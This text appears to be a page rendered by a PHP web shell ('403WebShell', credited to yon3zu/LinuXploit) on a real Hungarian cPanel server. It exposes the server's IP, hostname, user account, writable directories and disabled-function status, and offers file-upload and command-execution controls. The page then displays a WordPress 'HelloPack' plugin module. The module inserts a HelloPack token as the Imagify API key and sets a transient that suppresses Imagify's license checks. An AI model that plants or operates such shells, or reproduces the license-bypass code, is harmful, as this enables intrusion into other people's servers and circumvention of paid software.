$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules//imagify-hellopack.php
<?php
/**
 * Imagify (HelloPack) module.
 *
 * Sets the Imagify API key using the HelloPack API key
 * and suppresses license check API calls.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Imagify (HelloPack) license module.
 */
class Imagify_Hellopack extends AbstractModule {

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'imagify-hellopack';
		$this->name        = 'Imagify (HelloPack)';
		$this->description = 'Manages Imagify (HelloPack) API key via the HelloPack API key.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'imagify-hellopack',
			'plugin_file' => 'imagify-hellopack.php',
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		$this->configure_api_key();
		$this->validate_license();
	}

	/**
	 * Configure Imagify API key with the HelloPack API key.
	 */
	private function configure_api_key(): void {
		$token = (string) Options::get( 'token', '' );
		if ( '' === $token ) {
			return;
		}

		$settings = get_option( 'imagify_settings', array() );

		if ( ! is_array( $settings ) ) {
			$settings = array();
		}

		if ( ( $settings['api_key'] ?? '' ) === $token ) {
			return;
		}

		$settings['api_key'] = sanitize_text_field( $token );
		update_option( 'imagify_settings', $settings );
	}

	/**
	 * Set license validation transient to avoid remote API calls.
	 */
	private function validate_license(): void {
		if ( ! get_site_transient( 'imagify_check_licence_1' ) ) {
			set_site_transient( 'imagify_check_licence_1', 1, YEAR_IN_SECONDS );
		}
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		hellopack_delete_option( 'imagify_settings' );
		delete_site_transient( 'imagify_check_licence_1' );
		delete_transient( 'imagify_user_cache' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit